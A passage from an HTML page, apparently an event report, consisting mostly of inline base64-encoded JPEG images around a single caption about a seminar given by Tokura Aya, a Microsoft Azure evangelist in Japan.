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" width="320" /><br />
<br />
<br />
6) Seminar by Tokura Aya (Microsoft). She is evangelist/image character of Microsoft Azure/Cloud in Japan. <br />
&nbsp; <br />
<img alt="" height="238" src="data:;base64,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